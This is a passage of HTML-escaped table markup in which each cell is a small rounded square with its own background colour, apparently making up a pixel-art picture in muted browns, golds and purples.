&lt;td style=&quot;background-color: #251c2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1a29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #502b2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b312e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #543230; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #624239; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #836541; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e794a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #89744c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #44303c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d3f30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #824729; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #89512c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #925d2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #915a2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d5830; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d6234; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #89612c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #714b2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #38242d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281a2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251928; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342326; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #563b27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b492b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #734d28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e632e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a37938; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa8540; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #caa655; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dcb960; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddbf68; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2c66f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7c86f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddbb60; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c19d49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #937031; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #745628; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f3420; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #392522; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1e23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #231822; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251c23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a2026; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171322; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #141123; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171526; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1a2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251d2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281d2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342535; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c3a33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4030; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d3d34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a3e3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d423f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f4945; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #3c2e3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b282f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #82412a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f4f2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #965b2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #93582b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #945b2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91622d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a5f2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #42292d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302131; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #342833; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2532; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #34242d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d3628; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d452a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #593f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #523827; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f3e27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #674527; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #77542e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b562f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #845b2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #885e2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #896132; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b6735; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #836632; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #684e27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503921; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2922; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1621; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201b27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #292025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #423328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #49382a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2b27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201722; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191422; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1626; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a1528; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261b2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281f2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b2334; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452c36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #673530; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5e3334; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #673b3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f4b3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #56414a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #433441; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322235; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #47222c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #77352b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #803e2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b4525; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #874325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #864727; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #80442a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402830; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312632; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2533; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2531; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #33242b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c372a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #463124; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2c25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #443026; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #473328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #634c2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f5530; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e522e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b4c2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f4329; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d432a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a4629; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503e28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382a24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251d23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #151221; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1823; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312525; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c2c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f3126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2e27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #443327; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #533d26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b3422; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #452c21; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2724; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1f29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261e2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251d2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b202f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #352533; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #663b30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #764432; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a3f37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b3e41; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c4247; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #48343d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b2a37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f3233; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #814b31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #845336; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #814f34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #834d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #844c2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f362f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372732; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e2533; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271e2f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281c2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31232c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2c2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382727; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #382726; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2c28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e2d29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c382a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f3b2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #563e29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d3627; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503a28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57432c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a3a2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #312524; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b1523; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1822; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e2121; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #24191e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
